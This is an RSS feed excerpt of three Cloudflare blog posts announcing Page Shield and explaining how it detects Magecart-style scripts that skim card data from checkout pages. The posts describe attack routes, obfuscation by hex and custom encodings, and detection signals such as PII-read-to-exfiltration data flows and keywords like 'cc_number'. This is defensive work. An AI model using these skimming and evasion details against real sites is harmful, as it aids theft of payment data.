            <dc:creator>Simon Wijckmans</dc:creator>
        </item>
        <item>
            <title><![CDATA[Detecting Magecart-Style attacks with Page Shield]]></title>
            <link>https://blog.cloudflare.com/detecting-magecart-style-attacks-for-pageshield/</link>
            <pubDate>Fri, 18 Feb 2022 14:45:04 GMT</pubDate>
            <description><![CDATA[ How we’re using content-based analysis to identify Magecart-style attacks ]]></description>
            <content:encoded><![CDATA[ <p></p><p>During CIO week we announced the general availability of our client-side security product, Page Shield. Page Shield protects websites’ end users from client-side attacks that target vulnerable JavaScript dependencies in order to run malicious code in the victim’s browser. One of the biggest client-side threats is the <a href="https://www.cloudflare.com/learning/security/what-is-data-exfiltration/">exfiltration of sensitive user data</a> to an attacker-controlled domain (known as a Magecart-style attack). This kind of attack has impacted large organizations like <a href="https://www.bbc.co.uk/news/technology-54568784">British Airways</a> and <a href="https://ico.org.uk/about-the-ico/news-and-events/news-and-blogs/2020/11/ico-fines-ticketmaster-uk-limited-125million-for-failing-to-protect-customers-payment-details/">Ticketmaster</a>, resulting in substantial GDPR fines in both cases. Today we are sharing details of how we detect these types of attacks and how we’re going to be developing the product into the future.</p>
    <div>
      <h3>How does a Magecart-style attack work?</h3>
      <a href="#how-does-a-magecart-style-attack-work">
        
      </a>
    </div>
    <p>Magecart-style attacks are generally quite simple, involving just two stages. First, an attacker finds a way to compromise one of the JavaScript files running on the victim’s website. The attacker then inserts malicious code which reads personally identifiable information (PII) being entered by the site’s users, and exfiltrates it to an attacker-controlled domain. This is illustrated in the diagram below.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/qh6NjFN2LDicC1u4Vg7qB/2d773e5cf308527642a7202da836aff8/image4-7.png" />
            
            </figure><p>Magecart-style attacks are of particular concern to online retailers with users entering credit card details on the checkout page. Forms for online banking are also high-value targets along with login pages and anywhere else where you enter personal details online.</p><p>Attackers have a number of routes through which they can compromise a popular library and get their malicious code running on an unknowing vendor’s website, which include:</p><ul><li><p>Compromising third-party providers</p></li><li><p>Compromising the website itself</p></li><li><p>Exploiting vulnerabilities</p></li></ul><p>Frequently, the third-party providers themselves get compromised and attackers gain the ability to modify code that’s being distributed to a number of websites; this was the case with the Ibenta breach that compromised Ticketmaster. Alternatively, if attackers gain admin access to the site itself, they can modify one of the scripts being used and insert their malicious code — which happened in 2018 to British Airways. Libraries that have reached their end of life and are no longer maintained by their creators are vulnerable to zero-day exploits. Automated attacks have been seen compromising thousands of checkout pages in one go by taking advantage of this.</p>
    <div>
      <h3>What can be done about it?</h3>
      <a href="#what-can-be-done-about-it">
        
      </a>
    </div>
    <p>Application security providers and security teams are able to provide several defense mechanisms for site owners that include:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/rXpT1LFrcep4xvL9ZSwUt/139e36f16dc18a24464c6bc3b3109627/image11-1.png" />
            
            </figure><p><b><i>Content Security Policies</i></b>: Page Shield uses a <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">content security policy</a> (CSP) deployed with a <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy-Report-Only">report-only directive</a> to collect information from the browser about the scripts running on an application. That allows us to provide basic visibility to application owners about the files that are running on their site.</p><p><i><b>Static Analysis:</b></i> Downloading the script and performing automated analysis on the content using <a href="https://www.cloudflare.com/learning/ai/what-is-machine-learning/">machine learning techniques</a> or databases of handwritten signatures can identify malicious scripts that would otherwise go undetected.</p><p><b><i>Threat Feeds:</i></b> Databases of malicious hostnames or URLs are effective at capturing malware we already know about and complement detection capabilities that are targeted at novel attacks.</p><p><b><i>Subresource Integrity Checks:</i></b> Application owners can include a cryptographic hash of the files they are loading in the ‘integrity’ attribute of any script or link. This is effective at protecting against unexpected changes at the source by malicious third parties.</p><p><b><i>External Connection Checks:</i></b> Extracting a list of external connections being made by each script and comparing these against blocklists and allowlists can help spot malicious exfiltration attempts to attacker-controlled domains.</p><p>Page Shield currently leverages CSP reports, threat-intelligence feeds, and ML-based static analysis in order to detect malicious scripts. We think static analysis has an important role to play in the detection of client-side threats with the ability to detect attacks that are unlikely to be found with the other mechanisms.</p>
    <div>
      <h3>Some ways we’re doing static analysis</h3>
      <a href="#some-ways-were-doing-static-analysis">
        
      </a>
    </div>
    <p>Our static analysis system covers two scenarios:</p><ol><li><p>The code is readable, and its functionality has not been obscured</p></li><li><p>The functionality of the code has been obscured (with or without malicious intent)</p></li></ol><p>This gives four categories of script to analyze:</p><ol><li><p>Benign scripts</p></li><li><p>Malicious scripts</p></li><li><p>Obfuscated or minified benign scripts</p></li><li><p>Obfuscated malicious scripts</p></li></ol><p>We’ve developed separate models for the two scenarios mentioned above. The first is targeted at detecting ‘clean’ scripts, where the code has not been obscured. The second looks at obfuscated scripts and differentiates between malicious and benign content.</p><p>The detection of ‘clean’ malicious scripts relies on an analysis of the script’s data flow properties which are derived from a representation of the script called an abstract syntax tree. Consider the following very simple example script:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7LM5xdglzIrSQeKqap8cWN/4b2dfe0edc34d0f33ca7fe20e4f1f872/image6-3.png" />
            
            </figure><p>This script has an associated abstract syntax tree (AST), a graph-based representation of the structure of the program, and a key tool in static analysis of malware. The below diagram shows a sample of the AST from the above code snippet.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2ht2rctqcdMSFoQyAY7tOy/43e9c87b7e1d12d8ec883d2df9b22af1/image9-1.png" />
            
            </figure><p>Page Shield uses a script’s AST to detect whether a significant change has occurred in the structure of the program (triggering a change alert), and also to derive the script’s corresponding data flow graph, which tracks the flow of data between variable assignments and function calls. The figure below shows the raw data flow graph derived from the AST for our simple example.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6bdG9P0nuSKXpw39PPe2R3/0a82acce7116c286c233dba9f660f39b/image7-1.png" />
            
            </figure><p>We have developed an ML model capable of identifying nodes on the graph that relate to PII reads or malicious data exfiltration which produces the likelihoods on the graph shown below. The nodes in blue have been classified as related to PII and those in red as being related to data exfiltration:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5lJlNep5XWeOkLl2ct2BSY/8efd8907b2affac90c26d12ffc2facf6/image10-1.png" />
            
            </figure><p>A script can be classified as malicious if there’s a <i>connected path</i> on the graph between nodes involved in the reading of PII and nodes that form part of the data exfiltration call to an attacker-controlled domain:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3l6FT7JgctVOMNRTcKUfGI/b88a35c61344894c5234b961e0989629/image3-17.png" />
            
            </figure><p>Models agnostic to the connection between the PII-read and exfiltration call are prone to false positives in scenarios where they are unrelated. Our data-flow based approach allows us to effectively detect attacks while eliminating false positives from disconnected logic.</p><p>Malicious actors, however, are usually trying to evade detection, and in order to avoid being spotted will often conceal their attack by encoding and transforming the content beyond recognition. Our second model handles this type of content and is able to differentiate between benign and malicious use of obfuscation.</p><p>The below example shows an attack that's been obscured via the inclusion of hex-encoded strings in a list <code>_0xb902</code> which is subsequently referenced.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6BErnNbIg1h2TR8A2HAcMw/279c399332fdc50f9fb4420fe74e99f7/image12-1.png" />
            
            </figure><p>Normalizing the content by decoding hex digits on hex-matching substrings reveals a number of JavaScript keywords used as part of the attack.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2qWdp81TPNxABZjJOy8r0O/4231da0fb0c0f420d35933e362cc3ae3/2.png" />
            
            </figure><p>The concept of ‘revealed-risk’ — how risky the revealed content is, forms the core of our approach for differentiating between obfuscated malware and legitimate uses of character encoding or minification. For example, revealing keywords like “cc_number” and “stringify” in the above example provides a strong signal that this is an attack.</p><p>However, analyzing the revealed risk only works if you can normalize the content. Frequently attackers go far beyond simple character encoding schemes to hide their malicious code. It is common to see custom-defined obfuscation functions in malicious scripts that can apply any arbitrary series of transformations to the input string. For example, consider a potential encoding function:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4haFDHaBj69FrAv5Y5Jhqq/a22ddc7bae99dcd7d17bec2be0032f31/image2-13.png" />
            
            </figure><p>This transforms the string <code>document.getElementById</code></p><p>to <code>646u63756s656t742t676574456r656s656t7442794964</code>.</p><p>The decoding function defined in the script would be:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1XGBLImubfBKBfcoF2lzyT/fb3933cc85396e1653249abb8b9018fe/image8-1.png" />
            
            </figure><p>Normalizing strings that have been through complex transformations requires execution of the code, and so in order to avoid a trivial bypass with an encoding scheme such as the above, our model also detects the presence of malicious, encoded strings that cannot be normalized.</p><p>With our approach of analyzing clean and obfuscated content separately, looking for connected paths on the data flow graph, revealed risk or arbitrary string transformations, we’ve been able to detect most attacks that we’ve seen to date. We’re excited to see what we find as we onboard more customers onto Page Shield and will continue to evolve our detection capabilities over time.</p>
    <div>
      <h3>What’s next?</h3>
      <a href="#whats-next">
        
      </a>
    </div>
    <p>We're constantly improving on our models and will be expanding content-based risk-scoring to include other attack types like crypto-mining and adware over the coming months. Enterprise customers can sign up for Page Shield’s enterprise add-on which includes content-based detection of Magecart-style attacks within your sites’ JavaScript dependencies.</p><p>Sign up for <a href="https://www.cloudflare.com/lp/page-shield-sign-up/">Page Shield</a> today to protect your customers’ data.</p> ]]></content:encoded>
            <category><![CDATA[Page Shield]]></category>
            <guid isPermaLink="false">4qvWaGEtqZJNiNXmfbFnCW</guid>
            <dc:creator>Oliver Cookman</dc:creator>
        </item>
        <item>
            <title><![CDATA[Page Shield is generally available]]></title>
            <link>https://blog.cloudflare.com/page-shield-generally-available/</link>
            <pubDate>Wed, 08 Dec 2021 13:59:08 GMT</pubDate>
            <description><![CDATA[ To help identify and mitigate supply chain attacks in the context of web applications, today we are launching Page Shield in General Availability (GA). ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Supply chain attacks are a growing concern for CIOs and security professionals.</p><p>During a supply chain attack, an attacker compromises a third party tool or library that is being used by the target application. This normally results in the attacker gaining privileged access to the application’s environment allowing them to steal private data or perform subsequent attacks. For example, Magecart, is a very common type of supply chain attack, whereby the attacker skimms credit card data from e-commerce site checkout forms by compromising third party libraries used by the site.</p><p>To help identify and mitigate supply chain attacks in the context of web applications, today we are launching Page Shield in General Availability (GA).</p><p>With Page Shield you gain visibility on what scripts are running on your application and can be notified when they have been compromised or are showing malicious behaviour such as attempting to <a href="https://www.cloudflare.com/learning/security/what-is-data-exfiltration/">exfiltrate user data</a>.</p><p>We’ve worked hard to make Page Shield easy to use: you can find it under the <b>Firewall</b> tab and turn it on with one simple click. No additional configuration required. Alerts can be set up separately on an array of different events.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/11FMU4xfNgkRYihU1EcdA5/f833b7529adad207b39e4788d9060ab4/image2-17.png" />
            
            </figure>
    <div>
      <h2>What is Page Shield?</h2>
      <a href="#what-is-page-shield">
        
      </a>
    </div>
    <p>Back in March of this year, <a href="/introducing-page-shield/">we announced early access to Page Shield</a>, our solution to protect end user data from exploits targeting the browser.</p><p>Earlier today, we <a href="/cloudflare-acquires-zaraz-to-enable-cloud-loading-of-third-party-tools">announced our acquisition of Zaraz</a>, a tool built on Workers that allows customers to easily load third-party tools on the cloud, instead of loading their JavaScript code in the browser, directly from the Cloudflare UI with immediate performance and security benefits. But not all applications use, or wish to use, a third-party manager. Nonetheless, we have got you covered.</p><p>Page Shield leverages our position in the network as a reverse proxy to receive information directly from the browser about what JavaScript files and modules are being loaded. We then provide visibility, analyse, and warn you whenever a JavaScript file is showing malicious behaviour.</p><p>Examples of compromised JavaScript files include Magecart attacks, cryptomining, and adware. With the ever-growing popularity of SaaS-based applications and services, it is very rare to find an application that does not leverage or load JavaScript code directly from third parties out of the application owner’s control, making detecting and mitigating compromised files even harder.</p>
    <div>
      <h3>How hard is client-side security?</h3>
      <a href="#how-hard-is-client-side-security">
        
      </a>
    </div>
    <p>Early indications from Page Shield indicate that, on average, any given application is loading scripts from eight third-party hosts. These hosts could be owned by large enterprises such as Google, to smaller companies that provide “plug and play” modules that quickly enhance web application functionality (think chat systems, date pickers, checkout platforms etc.). Each one of these third parties can be a target for a potential supply chain attack, making the <a href="https://www.cloudflare.com/learning/security/what-is-an-attack-surface/">attack surface</a> very large and difficult to monitor.</p><p>To make matters worse, things change fast. On average about 50% of applications are loading scripts from new third party hosts every month. This indicates that the attack surface is not only large, but also changing rapidly.</p>
    <div>
      <h2>How does Page Shield work?</h2>
      <a href="#how-does-page-shield-work">
        
      </a>
    </div>
    <p>As with any security product, we can think of Page Shield as providing visibility, detection, mitigation, and prevention. The first step is visibility.</p>
    <div>
      <h3>Visibility</h3>
      <a href="#visibility">
        
      </a>
    </div>
    <p>When turned on, the current iteration of Page Shield uses a <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">content security policy</a> (CSP) deployed with a <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy-Report-Only">report-only directive</a> to collect information from the browser. This allows us to provide you with a list of all scripts running on your application.</p><p>In HTTP terms, this is an HTTP response header added to a sample of page responses from the origin server back to the browser. The CSP header looks like this:</p>
            <pre><code>content-security-policy-report-only: script-src 'none'; report-uri /cdn-cgi/script_monitor/report</code></pre>
            <p>The above header instructs the browser that no scripts should be loaded  (<code>script-src 'none'</code>) and to report any violation to the endpoint provided (<code>report-uri /cdn-cgi/script_monitor/report</code>). Also note that the violation report endpoint resolves to the <a href="https://www.cloudflare.com/network/">Cloudflare network</a> where it is processed, so no additional traffic reaches the origin server.</p><p>Each violation report sent by the browser, implemented as an HTTP POST request, provides us with information on the script. Here is an example:</p>
            <pre><code>{
   "csp-report":{
      "document-uri":"https://www.example.com/",
      "referrer":"",
      "violated-directive":"script-src-elem",
      "effective-directive":"script-src-elem",
      "original-policy":"script-src 'none'; report-uri /cdn-cgi/script_monitor/report",
      "Disposition":"report",
      "blocked-uri":"https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js",
      "status-code":200,
      "script-sample":""
   }
}</code></pre>
            <p>This report tells us:</p><ul><li><p>The page the script was loaded from (<code>document-uri</code>)</p></li><li><p>The referrer, if applicable</p></li><li><p>Which CSP directive was violated</p></li><li><p>The full CSP that contains the directive</p></li><li><p>The full link to the JavaScript file</p></li><li><p>The response code the browser received when loading the file. In the example above, the response code is 200, which indicates that the file was loaded successfully.</p></li></ul><p>By collating all the information provided in the reports and enhancing it with additional data, we are able to provide detailed information on every script being loaded by your application, both via the Cloudflare UI <a href="https://developers.cloudflare.com/page-shield/">and API</a>.</p><p>All Cloudflare Pro zones have access to our Page Shield script reports. Additionally, Business and Enterprise zones have access to page attribution information, allowing you to quickly identify where a script is being loaded from within your application. Business and Enterprise zones can also set up alerts on a number of script change events.</p>
    <div>
      <h3>Detection</h3>
      <a href="#detection">
        
      </a>
    </div>
    <p>Application owners might be leveraging content security policies already to ensure only specific scripts are loaded. However, CSPs often tend to be too liberal, and browsers provide no native mechanisms to detect when JavaScript files show malicious behaviour. This includes JavaScript code that is allowed to be loaded according to a content security policy, highly reducing their effectiveness.</p><p>With Page Shield we believe to have a real opportunity to help our customers with malicious behaviour detection.</p><p>For any JavaScript file found in your zone by the system, we will perform a number of actions aimed at detecting malicious behaviour:</p><ol><li><p>Any JavaScript file loaded from a hostname categorised as malicious in our threat feeds will be flagged appropriately. This includes parent domains.</p></li><li><p>Similarly, if specific URLs are categorised as malicious in our feeds, these will also be flagged. In this latter case, given the exact file has been categorized as malicious, an attack is likely ongoing.</p></li><li><p>Finally, we will download the file and run it through our classifier. The classifier performs deobfuscation, normalisation and decoding steps before looking for correlations between form field fetches and data exfiltration calls. The stronger the correlation the more likely the script is performing a Magecart type attack. We will post additional technical details about our technology in follow-up posts — stay tuned!</p></li></ol><p>Our Enterprise customers can purchase the full set of Page Shield capabilities, including the detection capabilities. Please contact your account manager.</p><p>As we build the product further through next year, we plan to add additional detection signals as well as improve upon our classifier and detect additional attack types, including adware, ransomware and crypto mining.</p><p>Once a malicious signal triggers on a JavaScript file, Cloudflare is able to notify you via an alert that can be set up via email, webhook, PagerDuty, and other formats.</p>
    <div>
      <h3>Prevention and mitigation</h3>
      <a href="#prevention-and-mitigation">
        
      </a>
    </div>
    <p>Many of our larger customers have content security policies already, and although it is easy to <a href="/transform-http-response-headers/">add an HTTP response header that implements a CSP via Cloudflare</a>, we can do better.</p><p>Although not included in this immediate release, we are already hard at work to bring both prevention and mitigation options to Page Shield:</p><ul><li><p>Prevention by allowing easy CSP generation based on observed active scripts, allowing for editing and redeploying of policies as required either via the dashboard or directly via API as part of a deployment pipeline.</p></li><li><p>Blocking by leveraging our proxy to allow for malicious scripts to be removed inline from HTTP response bodies.</p></li></ul>
    <div>
      <h2>Get started</h2>
      <a href="#get-started">
        
      </a>
    </div>
    <p>If you already have a website on Cloudflare, upgrade to any of our paid plans to start leveraging Page Shield features today without any additional configuration required. You can also <a href="https://developers.cloudflare.com/page-shield/">use our API to leverage Page Shield features</a>.</p><p>If you do not have a website on Cloudflare, <a href="https://dash.cloudflare.com/sign-up">signing up</a> only takes 5 minutes!</p> ]]></content:encoded>
            <category><![CDATA[CIO Week]]></category>
            <category><![CDATA[Page Shield]]></category>
            <category><![CDATA[Product News]]></category>
            <guid isPermaLink="false">31mcgIPZPsvQXpJQgK476S</guid>
            <dc:creator>Michael Tremante</dc:creator>
        </item>
        <item>
            <title><![CDATA[Page Shield: Protect User Data In-Browser]]></title>
            <link>https://blog.cloudflare.com/introducing-page-shield/</link>
            <pubDate>Thu, 25 Mar 2021 13:01:00 GMT</pubDate>
            <description><![CDATA[ We're excited to introduce Page Shield, a client-side security product customers can use to detect attacks in end-user browsers. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Today we're excited to introduce Page Shield, a client-side security product customers can use to detect attacks in end-user browsers.</p><p>Starting in 2015, a hacker group named <a href="https://sansec.io/what-is-magecart">Magecart</a> stole payment credentials from online stores by infecting third-party dependencies with malicious code. The infected code would be requested by end-user browsers, where it would execute and access user information on the web page. After grabbing the information, the infected code would send it to the hackers, where it would be resold or used to launch additional attacks such as credit card fraud and identity theft.</p><p>Since then, other targets of such <a href="https://en.wikipedia.org/wiki/Supply_chain_attack">supply chain attacks</a> have included Ticketmaster, Newegg, British Airways, and more. The British Airways attack stemmed from the compromise of one of their self-hosted JavaScript files, exposing nearly 500,000 customers’ data to hackers. The attack resulted in GDPR fines and the <a href="https://www.bloomberg.com/news/articles/2021-01-12/british-airways-faces-biggest-class-action-suit-over-data-breach">largest class-action privacy suit in UK history</a>. In total, millions of users have been affected by these attacks.</p><p>Writing secure code within an organization is challenging enough without having to worry about third-party vendors. Many SaaS platforms serve third-party code to millions of sites, meaning a single compromise could have devastating results. Page Shield helps customers monitor these potential attack vectors and prevent confidential user information from falling into the hands of hackers.</p><p>Earlier this week, <a href="/browser-isolation-for-teams-of-all-sizes/">we announced Remote Browser Isolation</a> for all as a way to mitigate client-side attacks in your employee’s browsers. Page Shield is continuing Cloudflare’s push into client-side security by helping mitigate attacks aimed at your customers.</p>
    <div>
      <h3>Background</h3>
      <a href="#background">
        
      </a>
    </div>
    <p>A Magecart-style attack is a type of software supply chain attack carried out in a user’s browser. Attackers target the hosts of third-party JavaScript dependencies and gain control over the source code served to browsers. When the infected code executes, it often attempts to steal sensitive data that end-users enter into the site such as credit card details during a checkout flow.</p><p>These attacks are challenging to detect because many application owners trust third-party JavaScript to function as intended. Because of this trust, third-party code is rarely audited by the application owner. In many cases, Magecart attacks have lasted months before detection.</p><p><a href="https://www.cloudflare.com/learning/security/what-is-data-exfiltration/">Data exfiltration</a> isn’t the only risk stemming from software supply chains. In recent years we’ve also seen hackers modify third-party code to show fraudulent advertisements to users. Users click through these advertisements and go to phishing sites, where their personal information is stolen by the hackers. Other JavaScript malware has mined cryptocurrencies for the attackers using end-user resources, damaging site performance.</p><p>So what can application owners do to protect themselves? Existing browser technologies such as Content Security Policy (CSP) and Subresource Integrity (SRI) provide some protection against client-side threats, but have some drawbacks.</p><p>CSP enables application owners to send an allowlist to the browser, preventing any resource outside those listed to execute. While this can <a href="https://www.cloudflare.com/learning/security/how-to-prevent-xss-attacks/">prevent certain cross-site scripting attacks (XSS)</a>, it fails to detect when existing resources change from benign to malicious states. Managing CSP is also operationally challenging as it requires developers to update the allowlist every time a new script is added to the site.</p><p>SRI enables application owners to specify an expected file hash for JavaScript and other resources. If the fetched file doesn’t match the hash, it is blocked from executing. The challenge with SRI is vendors update their code often, and in certain cases serve different files to different end-users. We’ve also found that JavaScript vendors will sometimes serve versioned files with different hashes to end-users due to small differences such as spacing. This could result in SRI blocking legitimate files by no fault of the application owner.</p>
    <div>
      <h3>Script Monitor is the first available Page Shield feature</h3>
      <a href="#script-monitor-is-the-first-available-page-shield-feature">
        
      </a>
    </div>
    <p>Script Monitor is the beginning of Cloudflare’s ambition for Page Shield. When turned on, it records your site’s JavaScript dependencies over time. As new JavaScript dependencies appear, we alert you, so you can investigate if they are expected changes to your site. This helps you identify if bad actors modified your application to request a new, malicious JavaScript file. Once the beta is complete, this initial feature set will be made available to Business and Enterprise customers at no extra charge.</p>
    <div>
      <h3>How does Script Monitor work?</h3>
      <a href="#how-does-script-monitor-work">
        
      </a>
    </div>
    <p>Because of Cloudflare’s unique position between application origin servers and end-users, we can modify responses before they reach end-users. In this case, we’re adding a Content-Security-Policy-Report-Only header to pages as they pass through our edge. When JavaScript files attempt to execute on the page, browsers will send a report back to Cloudflare. As we are using a report-only header, there’s no requirement for application owners to maintain allowlists for relevant insights.</p><p>For each report we see, we compare the JavaScript file with the historic dependencies of that zone and check if the file is new. If it is, we fire an alert, so customers can investigate and determine whether the change was expected.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/AJdQagm2ypnb0ferguTDW/7ebfee2ed1f3f41add159c8ff57f2fb9/image1-40.png" />
            
            </figure><p>The Script Monitor UI located under Firewall -&gt; Page Shield</p><p>As a beta participant, you will see the Page Shield tab under the Firewall section of your zone dashboard. There, you can find the Script Monitor table tracking your zone’s JavaScript dependencies. For each dependency, you can view the first seen date, last seen date, and host domain that it was detected on.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/wxIYbVN6ETaJhLqc1BIzs/aa42946a3207a9c281297598b72cb3be/image2-34.png" />
            
            </figure><p>Email notification example for new JavaScript dependencies found</p><p>You can also configure Script Monitor notifications in the dashboard. These notifications send alerts to email or PagerDuty whenever a new JavaScript file is requested by your site.</p>
    <div>
      <h3>Looking forward</h3>
      <a href="#looking-forward">
        
      </a>
    </div>
    <p>Our mission is to help build a better Internet. This extends to end-user browsers, where we’ve seen an alarming increase in attacks over the past several years. With Page Shield, we will help applications detect and mitigate these elusive attacks to keep their user’s sensitive information safe.</p><p>We are already building code change detection into Script Monitor. Code change detection will periodically fetch your application’s JavaScript dependencies and analyze their behavior. When new code behavior is detected to existing files, we will alert you, so you can review the change and determine if the new code is a benign update or an infected piece of code.</p><p>Coming after code change detection is intelligent analysis of JavaScript files. While alerting application owners when their dependencies change provides insight into files of interest, we can do better. We’ve worked with our security partners to acquire samples of Magecart JavaScript and have proven we can accurately classify malicious JavaScript samples. We plan to refine our techniques further and eventually begin alerting Page Shield customers when we believe their dependencies are malicious.</p><p>We’ve talked to our customers and understand that maintaining CSP allowlists is operationally challenging. If new client-side JavaScript is deployed without being added to the allowlist, then that new code will be blocked by browsers. That’s why we will use our position as a reverse-proxy to ship negative security model blocking. This will allow application owners to block individual scripts without having to maintain an allowlist, ensuring customers can ship new code without the cumbersome overhead.</p>
    <div>
      <h3>Sign up for the beta</h3>
      <a href="#sign-up-for-the-beta">
        
      </a>
    </div>
    <p>Starting today, all Business and Enterprise customers can sign up <a href="https://www.cloudflare.com/waf/page-shield/">here</a> to join the closed beta for Page Shield. By joining the beta, customers will be able to activate Script Monitor and begin monitoring their site’s JavaScript.</p> ]]></content:encoded>
            <category><![CDATA[Security Week]]></category>
            <category><![CDATA[Page Shield]]></category>
            <category><![CDATA[Product News]]></category>
            <category><![CDATA[Device Security]]></category>
            <category><![CDATA[Speed & Reliability]]></category>
            <category><![CDATA[Remote Browser Isolation]]></category>
            <guid isPermaLink="false">2uyd7wWAPudwfSmX6JWUj8</guid>
            <dc:creator>Justin Zhou</dc:creator>
        </item>
    </channel>
</rss>